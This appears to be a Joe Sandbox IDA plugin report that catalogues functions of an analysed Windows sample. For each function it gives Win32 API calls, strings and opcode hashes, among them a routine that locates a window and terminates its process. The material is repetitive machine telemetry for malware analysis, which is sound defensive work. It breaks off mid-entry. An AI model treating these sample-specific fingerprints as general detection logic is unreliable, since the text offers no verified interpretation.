Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: Range:bytes=$-:J$Agent$I:J$W:J$h:J$s:J$|9J$6J$6J
API String ID: 0-3127121528
Opcode ID: e89444e681b2af7695cfd66b6436b70af4d93e2a71f18ea69b3d2c2288207bac
Instruction ID: 2ec5a9a1b8e5698a68607ff46b719a98d5a7082e6e17eedb64a04cd0bcafab12
Opcode Fuzzy Hash: e89444e681b2af7695cfd66b6436b70af4d93e2a71f18ea69b3d2c2288207bac
Instruction Fuzzy Hash: 714251B0E04308ABEB10DFD5CC92B9E77B4EB18314F14447AFA057A2C2D77A6954CB5A

Function 004927A8 Relevance: 12.1, APIs: 8, Instructions: 72
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004927AD
GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?), ref: 004927CB
lstrcpynA.KERNEL32(?,?,00000104), ref: 004927DA
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?), ref: 0049280E
CharUpperA.USER32(?), ref: 0049281F
FindFirstFileA.KERNEL32(?,?), ref: 00492835
FindClose.KERNEL32(00000000), ref: 00492841
lstrcpyA.KERNEL32(?,?), ref: 00492851

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Find$CharCloseFileFirstFullH_prologInformationNamePathUpperVolumelstrcpylstrcpyn
String ID:
API String ID: 304730633-0
Opcode ID: ef75e455784ed6a1184ce4f9244df7ad98e65e48b2dcaa317038cfd6791330ac
Instruction ID: 81974bb4ca29b327d52bd62ab9cb73b515afdf2dc2f653f854d17581dce7b2b6
Opcode Fuzzy Hash: ef75e455784ed6a1184ce4f9244df7ad98e65e48b2dcaa317038cfd6791330ac
Instruction Fuzzy Hash: 45216B71900019BBDF10EF65DC48EEF7FB8EF46764F00826AB919E2160C7748A45CBA4

Function 00468C30 Relevance: 10.6, APIs: 7, Instructions: 87
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowA.USER32(00000000,?), ref: 00468C9D
GetWindowThreadProcessId.USER32(00000000,?), ref: 00468CAD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00468D2B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00468D34

Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Process$Window$DecrementFindInterlockedOpenTerminateThread
String ID:
API String ID: 2770076521-0
Opcode ID: 7584e538bcd18a1da0c304b25626c65decf149725eb2eebd24c2080c940861af
Instruction ID: 493a57812b136eb5f1927a52800b362462cf0f34a86a25e97a0753eaec120660
Opcode Fuzzy Hash: 7584e538bcd18a1da0c304b25626c65decf149725eb2eebd24c2080c940861af
Instruction Fuzzy Hash: F2319470204302AFD720DF25D945BAB77E4AF99750F008B1EF959922D0EB389804CB6B

Function 004801E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84filestringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(-0000002C,?,?,?,?,00468DB7), ref: 0048020E
FindFirstFileA.KERNEL32(?,?,?,00468DB7), ref: 00480218
GetLastError.KERNEL32(?,00468DB7), ref: 00480226
SetLastError.KERNEL32(0000007B,000000FF), ref: 00480271

Part of subcall function 004921AF: lstrlenA.KERNEL32(?,00000100,0049762E,000000FF,004BBE84,00000000,000000FF,00000100,004BBE84,004BBE84,?,00000100,00000000,0041AEA0), ref: 004921C2

Strings

*.*, xrefs: 00480204, 0048020C, 00480217

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ErrorLast$FileFindFirstlstrcpylstrlen
String ID: *.*
API String ID: 334723784-438819550
Opcode ID: 9b9933da443b9be18be4f34fc4d6e3f59c8a6a401c381ae63261f613a595e68d
Instruction ID: 9f336333f8613fc0eaa776252b482951a00546c8492d6674a97c098c2c1aa8a9
Opcode Fuzzy Hash: 9b9933da443b9be18be4f34fc4d6e3f59c8a6a401c381ae63261f613a595e68d
Instruction Fuzzy Hash: 3621AC325103006BE7217B728C49F2F7A98AF953A4F100E6FF961C62D1DBEC8C088369

Function 0049C369 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,?,?,0049C364), ref: 0049C3E0
GetProcessVersion.KERNEL32(00000000,?,?,?,0049C364), ref: 0049C41D
LoadCursorA.USER32(00000000,00007F02), ref: 0049C44B
LoadCursorA.USER32(00000000,00007F00), ref: 0049C456

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CursorLoadVersion$Process
String ID:
API String ID: 2246821583-0
Opcode ID: faf2c824fa4d93d271206e205fda301b20503d7e055a0a8bc21b2751a9081402
Instruction ID: da8f3a1a56b667b3c5a71a27398904d6e7597b7d9e91e148837934354c1b4843
Opcode Fuzzy Hash: faf2c824fa4d93d271206e205fda301b20503d7e055a0a8bc21b2751a9081402
Instruction Fuzzy Hash: B9118CB1A047508FD7249F3E889462ABBE5FB487047104D3FE18BC6B90DB78E401CB54

Function 00423610 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 00423620
FindClose.KERNEL32(00000000), ref: 0042362C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 42cdd4454b8f482f3d58abe467e47b5561412c76018b7bbdda060744193e296d
Instruction ID: f5741ab735b184388de444c0c30d768ab6f19bf4c5fb54c9c8e699a69c6cf6be
Opcode Fuzzy Hash: 42cdd4454b8f482f3d58abe467e47b5561412c76018b7bbdda060744193e296d
Instruction Fuzzy Hash: F0D05E755001006BF7219F75ED086AA36A8A744312FC40A28B92DC12F0F63EC9198615

Function 00493A30 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 170
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C

CallNextHookEx.USER32(?,00000003,?,?), ref: 00493A5A
GetClassLongA.USER32(?,000000E6), ref: 00493AA1
GlobalGetAtomNameA.KERNEL32(?,?,00000005,?,?,?,Function_0009ABD3), ref: 00493ACD
lstrcmpiA.KERNEL32(?,ime), ref: 00493ADC
GetWindowLongA.USER32(?,000000FC), ref: 00493B4F
SetWindowLongA.USER32(?,000000FC,00000000), ref: 00493B70

Strings

ime, xrefs: 00493AD6
AfxOldWndProc423, xrefs: 00493BB1, 00493BB6, 00493BC1, 00493BC9, 00493BD2

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Long$Window$AtomCallClassGlobalHookNameNextValuelstrcmpi
String ID: AfxOldWndProc423$ime
API String ID: 3731301195-104836986
Opcode ID: 9f976e18083841eb6061ec41fb680f0d96b3b5bcbf9efd2d6821ab4ad73ca05e
Instruction ID: 462a471cc652b52d5b25c1def1877f4583283e2a95154acbd18954aafacab974
Opcode Fuzzy Hash: 9f976e18083841eb6061ec41fb680f0d96b3b5bcbf9efd2d6821ab4ad73ca05e
Instruction Fuzzy Hash: A7518335904215AFCF119F64CC48B6B7FA9FB06366F104536F916A72A1D738EE00CB98

Function 0040EF70 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

IsRectEmpty.USER32(?), ref: 0040EFB7
GetClientRect.USER32(?,?), ref: 0040EFCF
InflateRect.USER32(?,?,?), ref: 0040F08D
IntersectRect.USER32(?,?,?), ref: 0040F0F7
CreateRectRgn.GDI32(?,?,?,?), ref: 0040F111
FillRgn.GDI32(?,?,?), ref: 0040F2D0
GetCurrentObject.GDI32(?,00000006), ref: 0040F34F

Part of subcall function 00497FDB: GetStockObject.GDI32(?), ref: 00497FE4
Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00497FFE
Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00498009

OffsetRect.USER32(?,00000001,00000001), ref: 0040F42D
OffsetRect.USER32(?,00000002,00000002), ref: 0040F4C1
OffsetRect.USER32(?,00000001,00000001), ref: 0040F474

Part of subcall function 004981AB: SetTextColor.GDI32(?,?), ref: 004981C5
Part of subcall function 004981AB: SetTextColor.GDI32(?,?), ref: 004981D3

Strings

\[J, xrefs: 0040F28B
8\J, xrefs: 0040F121, 0040F125
D\J, xrefs: 0040F246

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Object$Offset$ColorSelectText$BeginClientClipCreateCurrentEmptyFillH_prologInflateIntersectPaintStock
String ID: 8\J$D\J$\[J
API String ID: 4264835570-813531876
Opcode ID: 27e0b2332360c631f7005801a8921f4df6a1892098c80c11fa69dbb09aaa1d95
Instruction ID: eac9f845d124f7b1b0daac03329850b2797bb790b37fb4fc024918d81bbd4494
Opcode Fuzzy Hash: 27e0b2332360c631f7005801a8921f4df6a1892098c80c11fa69dbb09aaa1d95
Instruction Fuzzy Hash: D20277711087809FC324DF65C884AABB7E9BBD9304F00493EF59697291DB78E949CB26

Function 00421740 Relevance: 19.7, APIs: 13, Instructions: 187
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetParent.USER32(?), ref: 0042178A

Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160

IsWindow.USER32(?), ref: 0042182B
GetParent.USER32(?), ref: 00421846
IsWindowVisible.USER32(?), ref: 0042185A
SetActiveWindow.USER32(?), ref: 0042187B
IsWindow.USER32(?), ref: 00421898
KiUserCallbackDispatcher.NTDLL(?), ref: 004218A6
IsWindow.USER32(?), ref: 004218AD
IsWindow.USER32(?), ref: 00421908
IsWindow.USER32(?), ref: 00421962
GetFocus.USER32 ref: 00421976
IsWindow.USER32(00000000), ref: 00421983
IsChild.USER32(?,00000000), ref: 00421992

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$Parent$ActiveCallbackChildDispatcherEnabledFocusUserVisible
String ID:
API String ID: 416498738-0
Opcode ID: 10c517ffd02ed73c770e795cac11fca97b39e45f7f40a4bf67a61aafb82d8e45
Instruction ID: bc6ba6261873021323483f4a506fbac46018b040a941d5a7d8b2714222e1b4c6
Opcode Fuzzy Hash: 10c517ffd02ed73c770e795cac11fca97b39e45f7f40a4bf67a61aafb82d8e45
Instruction Fuzzy Hash: 9951A5B5B04315AFD7249F62E840A6BBBA8FF95341F50452FE54593320DB38E844CBA9

Function 00493855 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0049385A
GetPropA.USER32(?,AfxOldWndProc423), ref: 00493872
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 004938D0

Part of subcall function 0049343D: GetWindowRect.USER32(?,?), ref: 00493462
Part of subcall function 0049343D: GetWindow.USER32(?,00000004), ref: 0049347F

SetWindowLongA.USER32(?,000000FC,?), ref: 00493900
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00493908
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 0049390F
GlobalDeleteAtom.KERNEL32(00000000), ref: 00493916

Part of subcall function 0049341A: GetWindowRect.USER32(?,?), ref: 00493426

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 0049396A

Strings

AfxOldWndProc423, xrefs: 00493868, 00493870, 00493906, 0049390E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: aa870ce05a2cbd5f9f7f602e2d30605e3a8a1fe425f08cefae578fca20f76cee
Instruction ID: 637ae8be0a56655b85a7669c18f1beb3b2bf6095b39ba5bf1a9ef8c933c8ebae
Opcode Fuzzy Hash: aa870ce05a2cbd5f9f7f602e2d30605e3a8a1fe425f08cefae578fca20f76cee
Instruction Fuzzy Hash: D231647280011ABBCF11AFE5DD49EBF7FB8EF47356F00412AF601A1161C7798A119BA9

Function 0049B4E6 Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(004FCF90,004FCF64,00000000,?,004FCF74,004FCF74,0049B881,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000), ref: 0049B4F5
GlobalAlloc.KERNEL32(00002002,00000000,?,?,004FCF74,004FCF74,0049B881,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000), ref: 0049B54A
GlobalHandle.KERNEL32(006C2DD0), ref: 0049B553
GlobalUnlock.KERNEL32(00000000), ref: 0049B55C
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 0049B56E
GlobalHandle.KERNEL32(006C2DD0), ref: 0049B585
GlobalLock.KERNEL32(00000000), ref: 0049B58C
LeaveCriticalSection.KERNEL32(004808BA,?,?,004FCF74,004FCF74,0049B881,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000), ref: 0049B592
GlobalLock.KERNEL32(00000000), ref: 0049B5A1
LeaveCriticalSection.KERNEL32(?), ref: 0049B5EA

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: c2a6f69e976d0d467f708f78af385e05667117893da46af0bf00ca8351c0797f
Instruction ID: 0281eec49cee178926613d4a6145588ab9de7329ccd79c4859c094db3bb569fa
Opcode Fuzzy Hash: c2a6f69e976d0d467f708f78af385e05667117893da46af0bf00ca8351c0797f
Instruction Fuzzy Hash: A831B675200305AFDB209F24EC89A2ABBE9FF84318F014A3EF452D3661E775E9148B54

Function 0040B430 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 267
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateSolidBrush.GDI32(00000000), ref: 0040B578
SendMessageA.USER32(?,000000C5,?,00000000), ref: 0040B609
SendMessageA.USER32(?,000000CC,?,00000000), ref: 0040B621
SendMessageA.USER32(?,00000465,00000000,?), ref: 0040B6EB
SendMessageA.USER32(?,000000B1,?,?), ref: 0040B728
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040B737

Strings

